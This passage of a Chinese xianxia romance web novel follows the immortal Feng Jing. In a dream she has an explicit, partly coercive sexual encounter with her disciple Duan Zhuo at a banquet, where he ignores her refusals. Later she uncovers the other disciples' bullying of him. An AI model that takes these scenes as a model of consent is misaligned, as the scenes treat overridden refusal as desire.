不过我始终想不明白,为何出现在我梦中的是段灼而不是别人?
段灼轻抚过我掌中的红疹,我亦垂眸看向那处,手臂上的红疹还能解释作是我不小心在宴场中触碰了他人,可掌心中的红疹又该如何去解释。
毕竟我断定,我的手心未曾触碰过男子,除了段灼。
不过我触碰他,我的身体并没有反应,那这掌中的红疹究竟如何来的?
我左思右想,得出的结论是手臂上延伸出来的红疹长到了手心里,当然这个解释也不是很说得通,毕竟之前也从未这样过。
我问段灼:“你可知我掌心中的红疹如何来的?”
段灼的指尖还在轻点着我掌中的红疹,闻言抬眸,有些似笑非笑,我以为他应该知晓,谁知段灼摇头道:“不知。”
“若我知晓,又为何会问师尊?”
是哦。
我想起了方才段灼疯疯癫癫的样子。
我又问:“那为何我触碰梦外的你就不会长红疹?”
段灼仍是那副似笑非笑的神色,过了许久后才答道:“因为心。”
我嘴角抽了抽,尝试着将段灼的话抽象具体化,他的意思大概是……因为梦境之外的段灼喜欢我,所以触碰不会长红疹?
他的心是在我身上的。
解析出他的意思后,我的嘴角抽了抽。
至少并无仙医与我说过,若是触碰我的男子喜欢我,便不会生出红疹来。
梦中的段灼除了做那事儿之时,向来都是有些言行无状的,他说什么我也不觉得奇怪,这话我就当他是瞎编的。
我回答道:“哦。”
索性当成他没说过,我亦没听过。
段灼却问我:“师尊听到旁边的女仙问我之时,心中在想些什么?”
我看着他,段灼那张少年的面容上有些少见的期待。
我仔细回忆了一下,其实我并未想什么,毕竟一到这种大型宴场,我整个人就开始放空。
我思索后,回答道:“她看上你还真是眼神不太好。”
段灼听后有些伤心:“我在师尊眼中这般差劲?”
确实确实。
但是我并未说出来,毕竟我也算是个比较善良的仙,至少不会如此明目张胆伤人心。
我道:“其实也还好。”
一个比较中肯的回答,并不是最差劲的,但也不是很好。
段灼念念有词道:“还好……”
他低下头,显然比方才还要伤心,想来是我这个自认为中肯的回答,他也并不满意。
我问:“那你觉得,我应该想些什么?”
段灼道:“我觉得,师尊应当会想……”
“她竟然喜欢我的徒弟,我的徒弟除了我不许有任何人喜欢!”
“……”
“……”
我看着他
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声情并茂表演着,我想我就是第二天要死了,也不会这样想,更不会这般说。
我直言道:“这是你心中师尊的想法,并非是我。”
段灼看着我,有些眼巴巴:“可师尊就是我心中的师尊。”
我看着他如今的神色,想到方才他那副凶神恶煞的模样,很难让人觉得是同一个人。
我道:“你所言的想法,我并不会产生。”
要是有一日我真的这么想,连我自己都会感觉有些丢人。
段灼问道:“为何师尊不会有这样的反应?”
我道:“就算是仙,性格也会有所不同,既性格不同,那所思所想便无法做到一致。我若是真的如你所想,那我还是我吗?”
段灼微微思索,似乎也赞同我的说法,他那双漆黑的眼眸又看了过来,他的话中带着些少年人的天真稚气,与直言不讳:“我想要师尊更加在意我。”
我道:“相比其他弟子,我已经很在意你了。”
但是在意的方式有很多种,谁又能说我的这一种不算在意呢。
段灼道:“师尊不是在意我,是恨我,师尊想我去死。”
他又抬头看向我,我从他眼中看到了伤心。
分明前几日,他还能坦白从容地与我说,他知道我想杀了他,如今却又因此而伤心。
我道:“我也并非是恨你。”
只是我想活下来,所以才做出了这样的决定,我对他,却说不上是恨。
不知道从何时开始,我已经没有那么强烈的感情了,无论是恨,还是爱。
段灼还是闷声道:“师尊恨我,亦厌我。”
他这样固执,始终觉得我是恨他的,似乎在他心中,非爱即恨,非恨即爱。
我道:“你既然早就知晓了,那还想要我如何对你?还要我对你有何种感情?”
段灼抬头看我,他眼中晶莹,像是有泪:“我想要师尊爱我。”
这当然是不可能的,我不会爱他,也不会爱任何人,至少是目前为止我这样觉得的。
我:“我不……”
唔。
我的话还没说完,段灼便咬住我的唇,以非常强硬的态度拒绝听那些他不爱听或是并非是他所想的答案。
这在我看来却是一种无比可悲的逃避,改变不了问题的答案,只能叫自己无法听见这问题的答案。
周遭有西王母的声音,亦有其他仙在小声聊天的声音,我与段灼就在这样的环境之下,深深交缠。
旁人在说什么如何都听不清,我的眼前只有段灼放大的脸,和他痴痴的神色。
我与他亲吻时,唇与舌的粘黏之声,落在我耳中,叫我自上到下浑身都滚烫无比。
我庆幸这是在梦中。
纵然知晓这是在梦中,听着周遭的人声,我心中却有种说不出来的感受,却也并非抵触,我试图去描述这种奇异的感觉,应当是觉得……刺激?
以我平日在同僚面前的形象,断然不会在一干神仙面前与我这妖族弟子深-吻。
段灼好似知我走神,他冰冷的指尖亲昵般捧上我的脸颊,轻咬住舌尖,将我的意识拖了回来。
我尝试将他推开,却只会叫他与我更加亲密,身体软了,三四分神魂游荡着。
我想用神色警告段灼不要这么放肆,段灼睁开眼看到我的神色,却只是弯起眉眼,露出一个无比天真的少年笑容。
他的笑像是在与我说。
“师尊自愿的。”
他与我掌心交叠,指尖紧扣,他带着薄茧的指尖轻轻摩梭着我掌中的红疹,叫我觉得有些疼,他好似想用这种摩擦的疼痛,覆盖住掌中红疹的搔痒。
直至我要在他怀中断气,段灼才与我分开。
”没关系,就算师尊碰了其他男子也无妨,我会将这些……都磨平。”
这样深重的占有欲紧紧将我交缠在其中。
31. [锁] [此章节已锁]
我想我应当是不想被误会,或是脑子里的想法已经开始随着段灼走,我开口朝他解释:“我……并非有意的。”
却也并非是解释,只是不想被误会,不想被强加这莫须有的罪名。
我浑身都软了,与段灼亲了许多次,我甚至有些沉迷于这种食髓知味的感觉。
最初想抗拒,若是再继续,我知晓我自己不会拒绝,因为这样的感觉就连我自己都是喜欢的。
段灼不知是在吻还是在咬着我的耳尖,又含过耳垂。
他的声音落在我耳旁:“师尊不是有意的,可旁人是有意的。”
我隐约觉得段灼知晓些什么,便问:“旁人是何人?”
段灼抽身离我远了些,却也不说什么。
我有些气恼:“你知晓,却又不愿与我说。”
段灼微微一愣,笑道:“我从未看过师尊这副神色。”
他仔细看我,除了惊讶外,甚至还有些类似于享受、欣赏之色,像是我这副模样、神色让他满意。
他又露出了天真的少年笑容:“若是师尊亲我一下,我可以告诉师尊。”
我拳心都握紧了,别说是亲了,我想一拳砸在他脸上,更想将青霜剑插入他的胸口处,看着鲜血喷涌出来才好。
但最终我忍住了,我是个能屈能伸的仙,不就是一个吻,从前也不是没吻过,且莫说是从前,就是刚刚也曾吻过。
我缓缓靠近他,在他的脸颊处印上一个吻,亲完以后,我迅速侧身挪远些,面无表情道:“这样该可以了吧?”
段灼呆愣在原地,缓缓转头看向我,那原本苍白的肤色泛着浓墨重彩的红,他轻抚着方才我亲吻之处,就连身体也僵硬得像是死了好几日。
眼前的状况叫我有些不解,难道我的嘴巴有毒?
段灼一字一句唤道:“师……尊……”
我:“……”
显然,我不知晓他这副模样是怎么一回事。
我问:“怎么了?”
我与段灼嘴贴着嘴过无数次,亲脸却是第一次,这样的亲吻有些纯粹,看着他这副神色亦叫我心中生出些别的感觉来。
我看着他微微泛红的脸颊,他的眼眸中也含着些红,他咬着唇,下一刻,眼泪竟滚滚而出。
段灼哭起来是好看的,并不女气,眉心一蹙,泪滚落下,并无多余的神色。
我大概能够读出来他这是愉快的眼泪,他似乎对我这蜻蜓点水一般的亲吻很是满意,甚至激动到落泪。
段灼的感情来得比我的感情激烈太多。
段灼擦干泪,又朝我笑,我以为他要开口说我想知道的。
谁知道他又特别无赖地指着另一边道:“师尊,这边也要。”
“……”
我真是给他脸了。
我抬手一巴掌扇了过去,将他脸打得一歪,段灼愣神,似乎没反应过来我这一巴掌。
好一会儿他才缓缓转头过来看向我。
但是在他看过来之前,我立马又亲了一下我下手扇的这边脸颊。
段灼呆若木鸡。
我道:“这下可以说了吧?”
为了知晓究竟是谁,我豁出去了,老脸不要了。
其实若是我硬气一些,我便能够与段灼说,去你的,我才不用你告诉我,我自己去查,总会有结果的。
可金池宴场到场的仙这么多,我又该从何处开始查起来。
再说,我真的很好奇究竟谁能够这么有能耐,“故意”触碰我的手掌,且还是在我全然不知的情况下。
段灼看向我,他那双容易落泪的眼此时又泪盈盈起来:“我……”
段灼缓了好一会儿,才将那滚落出来的眼泪吞干净,他声音有些闷,再看向我的神色叫我说不清楚其中的意味。
段灼道:“其实我不知道是谁。”
段灼有些心虚,甚至将眼神挪开了,不敢看我。
我:“……”
合着他就是想骗我亲他,才这样说的。
我突然觉得我那巴掌打得也并不重,应该再补一巴掌。
大概是见我的神色不好,段灼才又道:“师尊知晓些什么,我便知晓些什么。”
我朝他伸手,示意他靠过来些:“脸。”
段灼听话地将脸靠过来了。
我气得一巴掌又扇过去,我终于将我心中所想的施展出来了。
我自问是个并无暴力倾向的仙,之所以这么做是我与段灼有私仇,且他十分欠打。
段灼捂着脸,有些可怜巴巴地问道:“师尊为何……”
我学着他的话道:“你自愿的。”
段灼垂眸,又小声说着:“其实还想要。”
我:“……”
或许对待别人打脸有些伤自尊,但是对待段灼似乎并没有这一说法,尤其是在梦中,他比我想的还不要脸,自尊二字对他而言也并不重要。
段灼见他在我这里即将失信,又补上一句:“但有一个人他肯定知道。”
我问:“谁?”
如果这次他再骗我,那我就……
我一愣,我就如何?我觉得似乎打与骂并不能让段灼有所悔改或是难受。
毕竟方才的事中我也意识到了,打他一巴掌并不能够让他闭嘴,只会叫他兴奋。
段灼道:“梦外的我。”
他又道:“师尊且说,就算是梦外的我,是不是我?师尊就这般不由分说……打我,倒是叫我伤心。”
段灼一口一个师尊,这装模作样好似受尽了世间的一切委屈,要哭出来一般。
就算他露出这样的神色,也不会叫我觉得愧疚,反而让我觉得我那两巴掌打得起效果了。
我直言道:“梦境之外的你并非你。”
梦境之外的段灼是个体,而梦境之中的段灼是我的衍生体。
段灼又道:“我就是段灼,说到底,师尊还是不信。”
信与不信这个问题,我与段灼是说不明白的,无论我如何说,段灼始终都觉得他就是梦境之外的段灼,他是个独立的个体,有自己的思想。
段灼眼下还挂着泪,这副梨花带雨的模样,就是任何一个貌若天仙的女子都哭不出来的。
段灼还在念念有词,他好似委屈极了,还在与我抱怨着为何我不相信他与梦境之外的段灼是同一个人。
我侧身过去,吻住了他的唇,段灼的话音骤然消失,我看着在我眼前放大的脸,段灼睁大了眼,眼中是毫不掩饰的惊讶。
我闭上眼睛,心中想着我的世界终于安静了,段灼无法再说话,觥筹交错中,我亦未曾再听见别的声音。
我双手触上段灼冰冷的脸颊,就像他吻我那般吻他,我感受着他自上而下僵硬的身体,终于得见他那有些游刃有余的面具撕开了一道裂缝,面具之下仍旧是那个我无比熟稔,会因为大小事而脸颊泛红的少年。
我的吻叫他变得笨拙,叫他忘却了一切。
对此景象,我有些沾沾自喜,却不知是段灼让着我的。
他一只手掐住我的腰,另一只手垫于我的双腿之下,还触碰到了我腿上的肌肤,他微微发力便将我抱在了怀中。
我们紧贴着,我听见我的心或是他的心在怦怦跳着,像是要跳出胸口。
我耳边还有些模模糊糊的周围人的声音,更浓稠的却是我与段灼涟-水交缠
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之声。
这样的响动,叫我面红耳赤。
我那该死的自尊心又开始泛滥了,又觉得周围有无数双眼睛正在注视着我。
“别……”
我趁着间隙拒绝着段灼的行为。
我只是想用一个吻止住他喋喋不休的声音,却并未想过要与他到如今的态势。
段灼与我唇舌分开,他喘着气,那双幽深的眼眸又与我对视,他沉声道:“师尊若是不想,那就将我推开。”
我:“……”
却也并非我没尝试过,我发现段灼说的根本就是反话,他一边说着让我不愿意就将他推开,一边将我抱在怀中紧紧扣住我的腰,让我无法将他推开。
见我似乎并无别的动作,段灼扣紧我的手,又吻上了我的唇。
我被他亲软了身体。
他拨弄着我的衣裳,去参加宴会时,我都会穿得更正式一些,不会像在碧水瑶台中那般随意,就连衣裳也难解一些。
我后知后觉才意识到段灼的动作,我在他怀中问道:“你……这是作何?”
段灼回眸看向我,他眼中却丝丝缕缕的红,亲了亲我的额心道,声音低哑:“师尊知晓我要做什么。”
我自然知晓,但周围的人未免太多了。
我以为在这样的场合中,段灼最多就是吻一吻我,谁知竟真的打算与我做些别的。
段灼见我往他怀中缩了缩,似乎也知晓我有些害羞。
他与我咬耳朵:“我不会让师尊被旁人看见。”
话音温热,叫我更加燥热了。
我道:“嗯……我并未说这个。”
段灼笑:“那师尊说的是什么?”
段灼边说,一边将我的衣裳解开,他并未像前几次那般将衣裳拉下,而是将五指缓缓伸进了里面。
指尖冰冷,触及温热的肌肤,叫人颤栗。
温热而盈盈可握,被捉弄在掌中。
从未经过他人的地方,会轻轻颤抖,会有些绽开。
额间细密的汗珠被他吻去,他口中说些些污/言-秽-语,说些可口香甜,叫我脸颊愈发红,愈发热了。
行径激烈起来,好似要用指尖将那之处拨开。
我仰面,发出一些低微的吟唱,却又迅速捂住了自己的唇,怒怒瞪他。
揉着。
其实我与段灼前几次做这些事,却也少些这样的前奏,我与他前几次更像出于本能的交缠。
如此,叫我有些忍不住,难免不间断溢出各种奇妙到我自己都从未听过的声音。
段灼笑,他含着我的耳尖,亲昵道:“好听。”
我回神,意识迷糊:“什么……好听?”
段灼道:“师尊的声音好听。”
我后知后觉才明白他究竟在说什么。
如今的我,连想使劲甩他一巴掌的力气都没有了,我不知我竟教出这么个轻薄的流氓来。
这时,旁边的云恒骤然转头“看”过来,她道:“小镜儿,你总是不爱听这些,若是困了,可靠在我肩上……”
“嗯……”
云恒的声音朦胧,我只能大概听明白她在说什么,不过还是将我吓了一跳。
段灼摆弄着,在我耳边亲昵问道:“师尊为何不回她的话?”
我真想打死他。
是我不想回吗,分明是我连一句完整的话都回答不出来。
段灼又问:“师尊可要靠在她的肩膀上休息?”
我与他道:“不……”
我总觉得段灼带着些故意在里面,他似乎不太喜欢云恒,但我不知道为什么,难道是因为我与云恒的关系比我与旁人的关系好些?
32. 第三十二章
我靠在他怀中,听见有潺潺溪流缓缓而出,声音也溢了出来。
我知晓是哪处,却也羞于知晓。
而今我才知,手指能够这样灵活,能够将溪水盈起,与溪水中的鱼儿嬉戏。
我的脸要烧起来了。
我想我的神色应当如溪流,如小河,如这潺潺的水声。
而梦中看不清脸的云恒因并未听到我的回答,又叫了一声我的名字。
突然被人唤了声名字,我浑身上下微微一颤。
段灼轻笑道:“师尊,有些贪吃。”
不过从前我并不知晓,我竟还有其他欲。
我的脸又红了,想要离段灼远一些,却适得其反,来来回回竟叫段灼觉得我在迎合他。
段灼问我:“师尊,好吃吗?”
我压着吟声,从唇齿之间咬出几个有些许屈辱的字音企图维护我其实半点不剩的师尊尊严。
“别……叫我师尊。”
段灼问道:“那该叫什么?”
“之之?”
“封镜?”
其实最好别叫我的名字,也别叫我师尊,就当是我另外一个人吧。
我拒绝:“不……”
段灼无视了我的拒绝,或许他觉得我并非拒绝,而是口中轻轻溢出了一声浅浅的吟声。
他还在轻声变着法唤我:“之之……”
“封镜……”
“师尊……”
段灼边吻着鬓发,边问:“之之为何不回她的话?”
我转头看着云恒那张模糊的脸还落在我与段灼身上,她这样“看”我,我有些不自在。
我回答道:“不必……”
如此,云恒才终于将头扭了回去,并未再看这边。
没有了旁人的视线,我终于不再在乎作为仙的一些面子和自尊,轻哼起来。
这样的轻哼像是撒娇,我总觉得或许在我儿时,才会这般对爹娘撒娇。
他亦动情了,要我扶着,将他吃进去。
衣裳交叠,声音却掩不住。
我脱了力,靠在他的肩上轻轻喘着气。
他的声音比方才还低沉些,唤我“之之。”
段灼叫得最多的却是“之之”。
他想与我变得亲近,变得不分你我,事后靠在我的肩头如情窦初开的少年,用有些撒娇的口吻一遍遍唤我“之之。”
他知晓只有亲昵的人才会如此唤我。
可我却不知他是如何知晓“之之”二字是我的名字的。
不过我思来想去,是我头脑昏聩了。
竟忘记了段灼本就是我,若是知晓“之之”是我的名字,也无可厚非。
结束后,我看着他的眉眼,眼前的景象逐渐模糊,不觉昏然过去。
我的意识飘远,却还记挂着他说,梦外的段灼知晓究竟是何人触碰了我。
想着想着,我昏睡了过去。
“女仙、女仙!”
我有意识之后听见的并不是后山的鸡叫,而是不知谁在唤我,那声音嘈杂,还夹杂着些许着急,将我吵醒了。
我缓缓睁开双眼后,看见小桃花精在我眼前神色焦急地晃着。
我迷迷糊糊看了看她,又往庭院之外看去,发现屋外天色昏沉,我不禁想,难道我这一觉睡到下午了?
我起身,桃花精围了上来,她焦急道:“女仙可算醒了!”
我揉了揉眼,有些不明所以,我不就睡了一觉,又不是死了,她怎么这样焦急?
我问:“现在是何时了?”
桃花精道:“离女仙从昆仑山回来已有两日了!女仙已经睡了整整两日了!”
“……”
我竟然睡了这么久,这是往常从来没有过的。
不过我思来想去,我三两日没休息,一下睡个两日,又有何奇怪?
桃花精关切道:“女仙可觉得身子不适?”
我摇头:“未曾。”
我反而觉得睡了两日神清气爽。
桃花树是自小就跟着我的,知晓我自小体弱,这两日睡下去,她觉得我要死了。
我道:“睡了两日还挺舒服的。”
桃花精松了口气:“女仙没事就好!”
桃花精又道:“这几日云恒女仙说寻不到女仙,还到殿中来看过,见女仙还在睡觉,没说什么就走了。”
我道:“云恒的病好了?”
我原本想着睡醒以后,与云恒通灵,或是去看看她,谁知睡了这么久,醒来时云恒病都好了。
桃花精道:“云恒女仙来的那日,我见她脸色惨白,女仙说她生病了,如今想来……倒像是并未好全罢。”
“云恒女仙还道,若是女仙醒了,与她通灵说一声。”
桃花精一脸羡慕道:“女仙的感情倒真好……”
我点头道:“好。”
我又问:“那这几日可有别人来找过我?”
“没有。”
不多时,我给云恒打去了通灵。
“封镜!!!你醒了!!!”
通灵刚一接通,云恒夸张地大喊着我的名字,像是我死而复生了一般。
这一大清早的,难免听着有些聒噪。
但我看着碧水瑶台逐渐黑下来的天空,心中也意识到,却也不是大清早。
我只是默认醒来之时便是晨时。
我道:“我还没死。”
云恒道:“没死就好,没死就好!”
我:“……”
云恒又道:“你不知你睡觉这几日,我有多想你。”
云恒若不是女子,经常都会给我一种她是我道侣的感觉。
我面无表情回应道:“我也想你了。”
云恒委屈:“你才没有想我,说这话一点感情都没有!”
我为了避免她将这个话题继续下去,于是我转移话题问道:“你的身体如何了?”
“前几日我从西王母殿中出来,遇到几个与你相熟的女仙,他们说你身子不适先走了,后来我与你通灵也并未接通。”
云恒变脸堪比翻书,如今却又有些感动:“呜呜呜,还是小镜儿关心我,前几日蟠桃吃多了,仙气直冲天灵盖,回去运运气就好了。”
我问:“当真?”
我从未听过吃多了蟠桃还会这样的。
云恒又道:“真的,我怎会骗你?其实第二日我就生龙活虎了,通灵不通我便来找你,谁知你还在睡觉,且一睡就是两日!”
可方才桃花精分明与我说,云恒来找我的那日,脸色苍白,病也并未好。
我不知云恒是否瞒着我生病的事。
我道:“你也知晓此去昆仑路途遥远,蟠桃宴来去两日,自然是有多久没睡,便要补睡多久。”
云恒嘟囔道:“都是神仙了,还这般贪睡。”
我听着她说话,倒是觉得与平常并无差别。
我又想起之前答应桃花精的事,道:“既然你吃不得蟠桃,不如给我一个。”
云恒问:“可是你那弟子后悔将蟠桃给我了?”
我:“并非如此,不过是我想再尝尝儿时的滋味。”
“好说好说,我这几日还有些忙,我让我殿中的?角?仙娥?尽快给你送来。”
我又道:“云恒,我有一事想请你帮忙。”
云恒道:“你与我这关系,竟对我这样客气,说到底你不把我当成好友!”
我
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道:“我只怕此事会让你为难。”
云恒:“若是你不告诉我,才会让我为难,却也不是为难,是难过。”
我:“前几日你与我说魔宫中那些事,你可有办法帮我查一下,死的侍妾中可有段灼的母亲,是魔尊杀的还是旁人杀的。”
那头的云恒短暂沉默了一会儿,她的声音听起来有些许失落:“原是为了这事?倒也不难,我帮你便是了。”
“不过,你怎么这样在意段灼?”
我将在西王母那里听到的消息说给云恒听了。
云恒听后道:“原来如此。”
我道:“他那日哭着与我说,想知晓自己的娘亲是如何死的,我这做师尊的理应帮他查清楚。”
其实段灼并未问这些,他向来都是沉默寡言的人,只是在知晓母亲死后,默默落下两滴泪来。
云恒将信将疑:“从前我怎么不见你如此关心他的过往?”
我道:“从前他也并未求过我这些。”
云恒道:“我帮你问就是,不过究竟能不能问出个所以然,我不敢保证。”
我答应:“好。”
我的话音落下,云恒一阵沉默,而后我听见了几声剧烈的咳嗽。
我问道:“可是病还未好?”
云恒的声音骤然而止,她声音有些哑,许久后才道:“无事,我还有些不舒服,今日就先这样罢。”
我道:“嗯,你好生休息。”
挂断云恒的通灵音后,我便又躺回了床上,我想着如今醒来也无事,干脆一觉睡到底,明日晨间再起来好了。
可我翻来覆去想着云恒方才所说的话,总觉得有些不对劲的地方,可一时间我也不知究竟何处不对。
第二日晨间,我才终于在我平日里起床的正常时间醒了。
我起床掰着指头算了一下,我已有四五日没有去过校场,想来我的弟子们肯定觉得我近日忙得要死,却不知我是睡死在寝殿中了。
我大概收拾了一番,又找了一圈,仍然找不到我平日里常戴的素簪,桌上摆放的只有段灼赠予我的那支桃花簪。
那簪子日日跟着我,除了去蟠桃宴这样的正式场合,我不会佩戴这般幼稚的发簪,平日里几乎都戴着。
我也才百来岁,在别的仙眼中还是个少女,但我到底也是出了师的人,在外要端庄些。
大概只有西王母会将我当做小孩看,不在意我如何穿,亦不在意我穿什么。
不过想来她活了几千年,我娘在她眼中也只是个小孩子。
我又想起了,西王母让我七日后去雁山镇,还说可以带两个弟子一起去。
其实一个弟子都不用,毕竟弟子对于我来说只会拖后腿,出了事我还要去救他们。
但我转念又想,或许我可以将段灼带上,他若是在除妖的过程中不慎死了呢。
为天下苍生牺牲自我,是仙的责任,在除妖过程中死了,就算是为天下苍生牺牲了。
再者,若是我带着他去,他侥幸活下来了,也会因为我只带他一人去,而更加成为这些弟子的眼中钉。
云恒说我是这世上最好懂的仙。
我有时觉得她并不了解我,其实我是个会为了自己的利益,不顾一切算计的仙。
真正的我,就连我自己也不了解。
铜镜映着我的模样,我有些失神,无意识抬手轻轻拂过我的脸,我的神色凝聚起来,看着旁人口中所说的,那张近乎清冷到生人勿近的脸,我尝试着笑了笑,却又觉得这笑有些牵强。
青丝如瀑,我亦抚过发间的桃花簪。
在这一刻,我仿若又看见了桃花簌簌落下的庭院中,那一隅玄色的身影,在庭院中慢慢扫着落花。
33. 第三十三章
想来段灼当初给我买这发簪是看见我庭院中这参天的桃花,便以为我喜欢桃花。
这桃花于我而言有些独特的意义,是当年我爹娘亲手种下的。
但我去过校场这么多次,我不信他不曾见过我发间的素簪。
思及此处,我想起了那日他们在段灼怀中搜到的“赃物”,那是一支只有些云纹修饰的素簪,想来是段灼想送我的,如今却被搁置在箱子里。
不过想来,那簪子确实更适合我。
*
去校场的路上,我碰到了两名弟子,他们不知在聊些什么,我隐了气息,仔细听着。
“今日我见段师弟脸上好些伤,青一块紫一块,可骇人了!不知有多痛!”
另一个弟子问:“你在何处看到他的?”
“自然是校场。”
回答的弟子神色狐疑起来,他问道:“你今日又偷懒没去校场?就也不怕师尊查起来!”
这弟子赶忙将他的嘴捂住,警告道:“此处离师尊的寝殿近,若是被听去了怎么办?且师尊这几日都不曾得空,哪里会来校场!”
作为师尊且在往校场走的我:“……”
他们说得也没错,我这几日先是去昆仑山,而后又睡了两日,在旁人看来确实不得空。
“且何必称段师弟,不过是个小妖,连灵力都没有,怎配与我们同门?听闻他爹是龙族,娘是狼族,姑且可以称呼一声杂种。”
“这样……不好吧?”
我从来不知道,这些弟子平日里骂他竟骂得比我还难听,在我面前表现出的乖顺,却也都是假的。
“有何不好的?他们私下都这么唤他,不过说来他脸上的伤,似乎是与他一个庭院的师兄打的。”
“那师兄为何打他?”
那弟子娓道:“你可曾听闻过,前几日师尊带那小妖去参加了蟠桃宴?”
“自是听过。”
他继续道:“而这去蟠桃宴的位置本该是与他同住的另一个师兄的。只是这小妖不知用什么手段竟哄得师尊让他去了!”
“他回来的第二日,师兄去找他理论,谁知他竟不尊师长,辱骂几位师兄,这才被师兄揍了一顿!”
“啊?段师弟这也太过分了!”
我:“……”
真是越听越精彩啊,他们说的这些事儿没有一件是我知道的。
也不问究竟是真是假,便一概给段灼定了罪。
我可不曾许诺过让要带某个弟子去蟠桃宴。
那两名弟子还在说着。
“蟠桃宴五年一次,可是天上认可的神仙才会被邀请参加,这顿打是该他受下!”
“是也是也,平日里我便看他不爽了!”
“……”
他们二人逐渐走远,我不由得叹了口气,再过个转角便是校场。
他们这些小辈无论做什么都是他们的事,不要给我这个做师尊的添麻烦可以吗?
我若是看见段灼一副鼻青脸肿的模样,如何能好意思不管?
我走进校场。
校场中,弟子们各练各的,亦有零散的弟子在闲聊,约莫人发现我来了,才叫停他们。
如此,一片鸦雀无声,只有练剑穿刺而过的风声。
我穿梭在人群之中,段灼始终在人群之外的空地上,独自练剑。
我将目光投过去时,段灼一怔,我知道段灼肯定是感受到我的目光了,不过今日却有些奇怪,往日还会抬眸看我,亦或是与我对视,如今却将头埋得更低了。
想来是如方才那两个弟子所言,段灼脸上有些叫人难堪的伤。
打人不打脸的道理,这些弟子是一个都不明白。
段灼似乎不止伤了脸,身上也有伤,他练剑姿势亦有些怪异。
他越是将头低下去,我便越是想看看他的脸究竟如何了,我抬脚走了过去,校场上所有弟子都屏住呼吸看了过来。
他们没预料到我今日会来,但却知晓我每次来校场都会看段灼,他脸上的伤被我发现,是情理之中的。
我对段灼道:“抬头。”
他向来听话,缓缓将头抬了起来。
这时我终于看见他脸上青一块紫一块的伤痕,不只是脸颊,就连眼皮都有些肿。
他生得本就好看,看着我一副低眉顺眼的模样,叫人见之会在心中生出一些怜悯之情。
可我不是人,我是仙。
我在心中喟叹,这些弟子下手比我下手狠多了。
段灼声音沉闷,他与我行礼道:“见过师尊。”
我道:“起。”
我又问:“如何弄的?”
旁的弟子见我问他,怕事情败露出来,便先开口:“段师弟昨日砍柴,不小心从山上摔下去了。”
我神色微冷,瞥了一眼那弟子:“我问你了吗?”
段灼闻声却并未反驳,而是听我说后,他微微一怔,似乎以为我会帮他,于是他终于指着方才那说话的弟子道:“师兄打我。”
那弟子慌了神,他暴怒道:“好你个段灼,竟敢当着师尊的面诬陷我!可是前几日我将你偷窃之事供出去了,你才如此当着师尊的面这般说我!”
按照这弟子的胆子,他是断然不敢将去蟠桃会这件事吹牛吹在自己身上的,估计他是恭维与他同住的另一个弟子,且还出主力,动手打了段灼。
我顺着他的神色,看他有意无意将眼神落在另一名弟子身上,对方却并未给他任何回应,而是当做什么都没发生。
至此,我便了然。
段灼也冷声道:“我并未偷窃,是你诬告我。”
那弟子见此,又道:“铁证如山,如今进了几日幽闭,你却还是不知悔过吗?”
这副朗朗说辞,俨然一副师尊的做派。
我道:“都闭嘴!”
这二人才安静下来。
我又问:“段灼,此言可为真?”
段灼看着我,眉眼锋利,神色坚定,沉声发誓:“若有半句虚言,我甘受千刀万剐之刑,堕入无间地狱。”
誓言是仙界中最好用的东西,毕竟若是违背誓言,会受到天罚。
我问那弟子:“你说不是你,可敢发誓?”
那弟子气得脸都红了,他指着段灼道:“师尊!段师弟是妖,仙界的誓言只对仙起作用,对他可不起作用啊!”
我:“……”
其实是有用的,别管你是人,是仙,还是妖,只要你来了天上,这些誓言一旦许诺下,就会生效。
且我在问他敢不敢,他却将话题转移到段灼身上,他没问题,那谁有问题。
我问:“那你是人还是仙?”
那弟子还不明白我的意思,只道:“回师尊,我是人。”
我又问:“既然你认为,仙界的誓言只对仙起作用,那你为何不敢发誓?”
那弟子骤然意识到了我的意思,脸色煞白,支支吾吾道:“我……我敢发
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誓。”
我道:“你不敢。”
他见如此情景,又匍匐在我面前道:“请师尊明察!我与段师弟一个庭院,旁人都知晓我与他不合,但我可并未打他!不信师尊可以问问别人!”
问别人能有什么结果只有他自己才知道,且他说段灼与他不合,但这么大一个碧水瑶台,段灼总是独来独往,又与谁合得来呢?
段灼抿唇,他凝眸压低了眉眼,神色中有些恨意,却也并未说别的。
我道:“此事作罢,我不想再追究。这几日段灼回院中养伤,过几日段灼要与我一同去雁山镇除妖,若是身上再有新伤,你们这些在场的弟子,我一并罚了!”
此言一出,周遭的弟子又开始躁动。
“我入门至今,从未见过师尊亲自下山除妖。”
“我也是!这次可是大妖?”
“不过师尊为何带段灼?”
更有弟子问道:“师尊可还要带别的弟子?”
我道:“只带他一人。”
我又开始给段灼拉仇恨了。
其实我也没有责怪他们的立场,毕竟段灼被这些弟子欺负,也有我这个师尊不作为的缘由。
而后是此起彼伏的“为何”之声,毕竟段灼虽然剑练得还不错,但确实没有灵力。
段灼立于原地,看向我微微怔神,我的话又似在他眸中投入了一颗小石子,他随后道:“弟子遵命。”
我又当了好人,但段灼又要多受些旁人的欺负。
*
我回到寝殿,云恒殿中的仙娥正在我寝殿的门前候着。
仙娥与我行礼道:“见过封镜女仙。”
“此蟠桃是云恒女仙让我送来的。”
“云恒女仙还道,前几日女仙让她查的事情,再过几日才有结果。”
我接过蟠桃,答道:“好。”
我又问她:“云恒可好些了?”
那仙娥微微一怔,又复与我行礼道:“这……我便不知了,我并非云恒女仙的贴身仙娥,只是在殿前侍奉,若是女仙无事,我便先走了。”
我点头道:“有劳了。”
我进门后,将蟠桃丢在了桃花精身边,道:“我替你要来了。”
桃花精眼眸明亮,冒着星星,她惊道:“这这这,女仙一整个都是给我吗?”
我轻轻“嗯”了一声。
她高兴得直转圈,喜道:“多谢女仙!”
这才三两句话后,守门弟子便敲门道:“师尊,有人找。”
我问:“何人?”
“她说她是西王母殿中的仙娥。”
想来是雁山镇的事有了眉目,我道:“进来。”
守门弟子得令后,不一会儿那仙娥进了殿中,与我行礼:“见过封镜女仙。”
我道:“女仙请起。”
西王母身边的仙娥皆修为深厚,我这般资历浅薄的小辈,只得恭敬称呼一声“女仙”。
她道:“此番王母娘娘让我来碧水瑶台,是为叮嘱女仙雁山镇之事。”
“还请女仙过几日前往雁山镇,请女仙切记,莫要暴露自己的神仙身份,只需道,女仙是除妖者。”
除神仙外,凡间还有些斩妖除魔、视匡扶正道为己任的凡人门派,仙者通常去往凡间便是以他们的身份,否则会被算作干扰凡人命数,受仙界严惩。
我道:“好。”
仙娥又与我娓娓说道,皆为那日西王母所言的详细版本。
34. 第三十四章
